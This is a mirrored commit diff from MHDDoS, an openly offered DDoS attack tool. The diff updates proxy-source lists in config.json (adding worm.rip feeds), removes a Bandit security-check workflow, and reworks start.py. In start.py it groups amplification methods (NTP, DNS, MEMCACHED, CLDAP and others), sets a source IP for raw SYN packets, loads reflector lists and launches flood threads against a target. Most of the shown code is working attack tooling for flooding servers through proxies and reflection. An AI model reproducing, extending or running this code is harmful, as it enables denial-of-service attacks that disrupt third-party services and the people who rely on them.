mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
Merge branch 'MatrixTM:main' into main
This commit is contained in:
commit
010fff7ca0
4
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
4
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
|
@ -44,11 +44,11 @@ body:
|
|||
render: true
|
||||
placeholder: |
|
||||
- OS: [e.g. Ubuntu]
|
||||
- Installed Requirements Version [e.g. PySocks1.70]
|
||||
- Installed Requirements Version [e.g. PyRoxy1.0b5]
|
||||
- Python Version [e.g. 3.8.x]
|
||||
value: |
|
||||
- OS: [e.g. Ubuntu]
|
||||
- Installed Requirements Version [e.g. PySocks1.70]
|
||||
- Installed Requirements Version [e.g. PyRoxy1.0b5]
|
||||
- Python Version [e.g. 3.8.x]
|
||||
validations:
|
||||
required: true
|
||||
|
|
29
.github/workflows/bandit.yml
vendored
29
.github/workflows/bandit.yml
vendored
|
@ -1,29 +0,0 @@
|
|||
name: Security check - Bandit
|
||||
|
||||
on: push
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ ubuntu-latest, macos-latest ]
|
||||
python-version: [ '3.8.12', '3.10' ]
|
||||
name: Python ${{ matrix.python-version }} ${{ matrix.os }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
|
||||
- name: Security check - Bandit
|
||||
uses: ././
|
||||
with:
|
||||
python_version: ${{ matrix.python-version }}
|
||||
project_path: .
|
||||
ignore_failure: true
|
||||
|
||||
- name: Security check report artifacts
|
||||
uses: actions/upload-artifact@v1
|
||||
# if: failure()
|
||||
with:
|
||||
name: Security report
|
||||
path: output/security_report.txt
|
|
@ -1,4 +1,4 @@
|
|||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="aventium softworks"></p>
|
||||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
|
||||
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 51 Methods</h1>
|
||||
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
|
||||
|
|
26
config.json
26
config.json
|
@ -1,7 +1,8 @@
|
|||
{
|
||||
"MCBOT": "MHDDoS_",
|
||||
"proxy-providers": [
|
||||
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://www.proxy-list.download/api/v1/get?type=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://www.proxyscan.io/download?type=socks4", "timeout": 5},
|
||||
|
@ -13,14 +14,16 @@
|
|||
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5},
|
||||
|
||||
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://www.proxy-list.download/api/v1/get?type=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://www.proxyscan.io/download?type=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://www.my-proxy.com/free-socks-5-proxy.html", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://github.com/roosterkid/openproxylist/blob/main/SOCKS5_RAW.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
|
@ -28,6 +31,7 @@
|
|||
{"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5},
|
||||
|
||||
|
||||
{"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5},
|
||||
|
@ -60,14 +64,14 @@
|
|||
{"type":1, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}
|
||||
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://worm.rip/http.txt", "timeout": 5}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
cfscrape<=2.1.1
|
||||
cloudscraper==1.2.60
|
||||
certifi<=2021.10.8
|
||||
dnspython>=2.2.0
|
||||
requests==2.27.1
|
||||
|
|
317
start.py
317
start.py
|
@ -27,13 +27,15 @@ from uuid import UUID, uuid4
|
|||
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
|
||||
from PyRoxy import Tools as ProxyTools
|
||||
from certifi import where
|
||||
from cfscrape import create_scraper
|
||||
from cloudscraper import create_scraper
|
||||
from dns import resolver
|
||||
from icmplib import ping
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data
|
||||
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
||||
from requests import Response, Session, exceptions, get, cookies
|
||||
from yarl import URL
|
||||
from re import compile
|
||||
|
||||
|
||||
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
|
||||
datefmt="%H:%M:%S")
|
||||
|
@ -48,26 +50,28 @@ __dir__: Path = Path(__file__).parent
|
|||
__ip__: Any = None
|
||||
|
||||
|
||||
with open(__dir__ / "config.json") as f:
|
||||
con = load(f)
|
||||
|
||||
def getMyIPAddress():
|
||||
global __ip__
|
||||
if __ip__:
|
||||
return __ip__
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://api.my-ip.io/ip', timeout=.1).text
|
||||
return get('https://api.my-ip.io/ip', timeout=.1).text
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
|
||||
return get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://ipinfo.io/json', timeout=.1).json()["ip"]
|
||||
return get('https://ipinfo.io/json', timeout=.1).json()["ip"]
|
||||
with suppress(Exception):
|
||||
__ip__ = ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
|
||||
return ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
|
||||
with suppress(Exception):
|
||||
__ip__ = ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
|
||||
return ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://ip.42.pl/raw', timeout=.1).text
|
||||
return get('https://ip.42.pl/raw', timeout=.1).text
|
||||
return getMyIPAddress()
|
||||
|
||||
|
||||
|
||||
class bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
|
@ -95,11 +99,18 @@ class Methods:
|
|||
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER"
|
||||
}
|
||||
|
||||
LAYER4_METHODS: Set[str] = {
|
||||
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
|
||||
"CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE",
|
||||
"CLDAP"
|
||||
|
||||
LAYER4_AMP: Set[str] = {
|
||||
"MEM", "NTP", "DNS", "ARD",
|
||||
"CLDAP", "CHAR", "RDP"
|
||||
}
|
||||
|
||||
|
||||
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
|
||||
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
|
||||
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
|
||||
}
|
||||
|
||||
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
|
||||
|
||||
|
||||
|
@ -134,6 +145,7 @@ BYTES_SEND = Counter()
|
|||
|
||||
|
||||
class Tools:
|
||||
IP = compile("(?:\d{1,3}\.){3}\d{1,3}")
|
||||
|
||||
@staticmethod
|
||||
def humanbytes(i: int, binary: bool = False, precision: int = 2):
|
||||
|
@ -477,7 +489,7 @@ class Layer4(Thread):
|
|||
2,
|
||||
ProxyTools.Random.rand_ipv4(),
|
||||
uuid4()))
|
||||
Tools.send(s, Minecraft.login(f"MHDDoS_{ProxyTools.Random.rand_str(5)}"))
|
||||
Tools.send(s, Minecraft.login(f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"))
|
||||
sleep(1.5)
|
||||
|
||||
c = 360
|
||||
|
@ -527,7 +539,7 @@ class Layer4(Thread):
|
|||
|
||||
def _genrate_syn(self) -> bytes:
|
||||
ip: IP = IP()
|
||||
ip.set_ip_src(getMyIPAddress())
|
||||
ip.set_ip_src(__ip__)
|
||||
ip.set_ip_dst(self._target[0])
|
||||
tcp: TCP = TCP()
|
||||
tcp.set_SYN()
|
||||
|
@ -621,7 +633,7 @@ class HttpFlood(Thread):
|
|||
'Accept-Encoding: gzip, deflate, br\r\n'
|
||||
'Accept-Language: en-US,en;q=0.9\r\n'
|
||||
'Cache-Control: max-age=0\r\n'
|
||||
'Connection: Keep-Alive\r\n'
|
||||
'Connection: keep-alive\r\n'
|
||||
'Sec-Fetch-Dest: document\r\n'
|
||||
'Sec-Fetch-Mode: navigate\r\n'
|
||||
'Sec-Fetch-Site: none\r\n'
|
||||
|
@ -1388,162 +1400,167 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
|
|||
|
||||
|
||||
if __name__ == '__main__':
|
||||
with open(__dir__ / "config.json") as f:
|
||||
con = load(f)
|
||||
with suppress(KeyboardInterrupt):
|
||||
with suppress(IndexError):
|
||||
one = argv[1].upper()
|
||||
with suppress(KeyboardInterrupt):
|
||||
with suppress(IndexError):
|
||||
one = argv[1].upper()
|
||||
|
||||
if one == "HELP":
|
||||
raise IndexError()
|
||||
if one == "TOOLS":
|
||||
ToolsConsole.runConsole()
|
||||
if one == "STOP":
|
||||
ToolsConsole.stop()
|
||||
if one == "HELP":
|
||||
raise IndexError()
|
||||
if one == "TOOLS":
|
||||
ToolsConsole.runConsole()
|
||||
if one == "STOP":
|
||||
ToolsConsole.stop()
|
||||
|
||||
method = one
|
||||
host = None
|
||||
port= None
|
||||
url = None
|
||||
event = Event()
|
||||
event.clear()
|
||||
target = None
|
||||
urlraw = argv[2].strip()
|
||||
if not urlraw.startswith("http"):
|
||||
urlraw = "http://" + urlraw
|
||||
method = one
|
||||
host = None
|
||||
port= None
|
||||
url = None
|
||||
event = Event()
|
||||
event.clear()
|
||||
target = None
|
||||
urlraw = argv[2].strip()
|
||||
if not urlraw.startswith("http"):
|
||||
urlraw = "http://" + urlraw
|
||||
|
||||
if method not in Methods.ALL_METHODS:
|
||||
exit("Method Not Found %s" %
|
||||
", ".join(Methods.ALL_METHODS))
|
||||
if method not in Methods.ALL_METHODS:
|
||||
exit("Method Not Found %s" %
|
||||
", ".join(Methods.ALL_METHODS))
|
||||
|
||||
if method in Methods.LAYER7_METHODS:
|
||||
url = URL(urlraw)
|
||||
host = url.host
|
||||
try:
|
||||
host = gethostbyname(url.host)
|
||||
except Exception as e:
|
||||
exit('Cannot resolve hostname ', url.host, e)
|
||||
threads = int(argv[4])
|
||||
rpc = int(argv[6])
|
||||
timer = int(argv[7])
|
||||
proxy_ty = int(argv[3].strip())
|
||||
proxy_li = Path(__dir__ / "files/proxies/" /
|
||||
argv[5].strip())
|
||||
useragent_li = Path(__dir__ / "files/useragent.txt")
|
||||
referers_li = Path(__dir__ / "files/referers.txt")
|
||||
bombardier_path = Path.home() / "go/bin/bombardier"
|
||||
proxies: Any = set()
|
||||
|
||||
if method == "BOMB":
|
||||
assert (
|
||||
bombardier_path.exists()
|
||||
or bombardier_path.with_suffix('.exe').exists()
|
||||
), (
|
||||
"Install bombardier: "
|
||||
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
|
||||
)
|
||||
if method in Methods.LAYER7_METHODS:
|
||||
url = URL(urlraw)
|
||||
host = url.host
|
||||
try:
|
||||
host = gethostbyname(url.host)
|
||||
except Exception as e:
|
||||
exit('Cannot resolve hostname ', url.host, e)
|
||||
threads = int(argv[4])
|
||||
rpc = int(argv[6])
|
||||
timer = int(argv[7])
|
||||
proxy_ty = int(argv[3].strip())
|
||||
proxy_li = Path(__dir__ / "files/proxies/" /
|
||||
argv[5].strip())
|
||||
useragent_li = Path(__dir__ / "files/useragent.txt")
|
||||
referers_li = Path(__dir__ / "files/referers.txt")
|
||||
bombardier_path = Path.home() / "go/bin/bombardier"
|
||||
proxies: Any = set()
|
||||
|
||||
if len(argv) == 9:
|
||||
logger.setLevel("DEBUG")
|
||||
if method == "BOMB":
|
||||
assert (
|
||||
bombardier_path.exists()
|
||||
or bombardier_path.with_suffix('.exe').exists()
|
||||
), (
|
||||
"Install bombardier: "
|
||||
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
|
||||
)
|
||||
|
||||
if not useragent_li.exists():
|
||||
exit("The Useragent file doesn't exist ")
|
||||
if not referers_li.exists():
|
||||
exit("The Referer file doesn't exist ")
|
||||
if len(argv) == 9:
|
||||
logger.setLevel("DEBUG")
|
||||
|
||||
uagents = set(a.strip()
|
||||
for a in useragent_li.open("r+").readlines())
|
||||
referers = set(a.strip()
|
||||
for a in referers_li.open("r+").readlines())
|
||||
if not useragent_li.exists():
|
||||
exit("The Useragent file doesn't exist ")
|
||||
if not referers_li.exists():
|
||||
exit("The Referer file doesn't exist ")
|
||||
|
||||
if not uagents: exit("Empty Useragent File ")
|
||||
if not referers: exit("Empty Referer File ")
|
||||
uagents = set(a.strip()
|
||||
for a in useragent_li.open("r+").readlines())
|
||||
referers = set(a.strip()
|
||||
for a in referers_li.open("r+").readlines())
|
||||
|
||||
if threads > 1000:
|
||||
logger.warning("Thread is higher than 1000")
|
||||
if rpc > 100:
|
||||
logger.warning(
|
||||
"RPC (Request Pre Connection) is higher than 100")
|
||||
if not uagents: exit("Empty Useragent File ")
|
||||
if not referers: exit("Empty Referer File ")
|
||||
|
||||
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
|
||||
for thread_id in range(threads):
|
||||
HttpFlood(thread_id, url, host, method, rpc, event,
|
||||
uagents, referers, proxies).start()
|
||||
if threads > 1000:
|
||||
logger.warning("Thread is higher than 1000")
|
||||
if rpc > 100:
|
||||
logger.warning(
|
||||
"RPC (Request Pre Connection) is higher than 100")
|
||||
|
||||
if method in Methods.LAYER4_METHODS:
|
||||
target = URL(urlraw)
|
||||
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
|
||||
for thread_id in range(threads):
|
||||
HttpFlood(thread_id, url, host, method, rpc, event,
|
||||
uagents, referers, proxies).start()
|
||||
|
||||
port = target.port
|
||||
target = target.host
|
||||
if method in Methods.LAYER4_METHODS:
|
||||
target = URL(urlraw)
|
||||
|
||||
try:
|
||||
target = gethostbyname(target)
|
||||
except Exception as e:
|
||||
exit('Cannot resolve hostname ', url.host, e)
|
||||
port = target.port
|
||||
target = target.host
|
||||
|
||||
if port > 65535 or port < 1:
|
||||
exit("Invalid Port [Min: 1 / Max: 65535] ")
|
||||
try:
|
||||
target = gethostbyname(target)
|
||||
except Exception as e:
|
||||
exit('Cannot resolve hostname ', url.host, e)
|
||||
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
|
||||
not ToolsConsole.checkRawSocket():
|
||||
exit("Cannot Create Raw Socket")
|
||||
if port > 65535 or port < 1:
|
||||
exit("Invalid Port [Min: 1 / Max: 65535] ")
|
||||
|
||||
threads = int(argv[3])
|
||||
timer = int(argv[4])
|
||||
proxies = None
|
||||
ref = None
|
||||
if not port:
|
||||
logger.warning("Port Not Selected, Set To Default: 80")
|
||||
port = 80
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
|
||||
not ToolsConsole.checkRawSocket():
|
||||
exit("Cannot Create Raw Socket")
|
||||
|
||||
if len(argv) >= 6:
|
||||
argfive = argv[5].strip()
|
||||
if argfive:
|
||||
refl_li = Path(__dir__ / "files" / argfive)
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
|
||||
if not refl_li.exists():
|
||||
exit("The reflector file doesn't exist")
|
||||
if len(argv) == 7:
|
||||
logger.setLevel("DEBUG")
|
||||
ref = set(a.strip()
|
||||
for a in ProxyTools.Patterns.IP.findall(
|
||||
refl_li.open("r+").read()))
|
||||
if not ref: exit("Empty Reflector File ")
|
||||
if method in Methods.LAYER4_AMP:
|
||||
logger.warning("this method need spoofable servers please check")
|
||||
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
|
||||
|
||||
elif argfive.isdigit() and len(argv) >= 7:
|
||||
if len(argv) == 8:
|
||||
logger.setLevel("DEBUG")
|
||||
proxy_ty = int(argfive)
|
||||
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
|
||||
proxies = handleProxyList(con, proxy_li, proxy_ty)
|
||||
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
|
||||
exit("this method cannot use for layer4 proxy")
|
||||
threads = int(argv[3])
|
||||
timer = int(argv[4])
|
||||
proxies = None
|
||||
ref = None
|
||||
|
||||
else:
|
||||
logger.setLevel("DEBUG")
|
||||
if not port:
|
||||
logger.warning("Port Not Selected, Set To Default: 80")
|
||||
port = 80
|
||||
|
||||
for _ in range(threads):
|
||||
Layer4((target, port), ref, method, event,
|
||||
proxies).start()
|
||||
if method == "SYN":
|
||||
__ip__ = getMyIPAddress()
|
||||
|
||||
logger.info(
|
||||
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
|
||||
% (target or url.host, method, timer, threads))
|
||||
event.set()
|
||||
ts = time()
|
||||
while time() < ts + timer:
|
||||
logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
|
||||
(target or url.host,
|
||||
port or (url.port or 80),
|
||||
method,
|
||||
Tools.humanformat(int(REQUESTS_SENT)),
|
||||
Tools.humanbytes(int(BYTES_SEND)),
|
||||
round((time() - ts) / timer * 100, 2)))
|
||||
REQUESTS_SENT.set(0)
|
||||
BYTES_SEND.set(0)
|
||||
sleep(1)
|
||||
if len(argv) >= 6:
|
||||
argfive = argv[5].strip()
|
||||
if argfive:
|
||||
refl_li = Path(__dir__ / "files" / argfive)
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
|
||||
if not refl_li.exists():
|
||||
exit("The reflector file doesn't exist")
|
||||
if len(argv) == 7:
|
||||
logger.setLevel("DEBUG")
|
||||
ref = set(a.strip()
|
||||
for a in Tools.IP.findall(refl_li.open("r").read()))
|
||||
if not ref: exit("Empty Reflector File ")
|
||||
|
||||
event.clear()
|
||||
exit()
|
||||
elif argfive.isdigit() and len(argv) >= 7:
|
||||
if len(argv) == 8:
|
||||
logger.setLevel("DEBUG")
|
||||
proxy_ty = int(argfive)
|
||||
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
|
||||
proxies = handleProxyList(con, proxy_li, proxy_ty)
|
||||
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
|
||||
exit("this method cannot use for layer4 proxy")
|
||||
|
||||
ToolsConsole.usage()
|
||||
else:
|
||||
logger.setLevel("DEBUG")
|
||||
for _ in range(threads):
|
||||
Layer4((target, port), ref, method, event,
|
||||
proxies).start()
|
||||
|
||||
logger.info(
|
||||
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
|
||||
% (target or url.host, method, timer, threads))
|
||||
event.set()
|
||||
ts = time()
|
||||
while time() < ts + timer:
|
||||
logger.debug(f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
|
||||
(target or url.host,
|
||||
port or (url.port or 80),
|
||||
method,
|
||||
Tools.humanformat(int(REQUESTS_SENT)),
|
||||
Tools.humanbytes(int(BYTES_SEND)),
|
||||
round((time() - ts) / timer * 100, 2)))
|
||||
REQUESTS_SENT.set(0)
|
||||
BYTES_SEND.set(0)
|
||||
sleep(1)
|
||||
|
||||
event.clear()
|
||||
exit()
|
||||
|
||||
ToolsConsole.usage()
|
||||
|
|
Loading…
Reference in New Issue
Block a user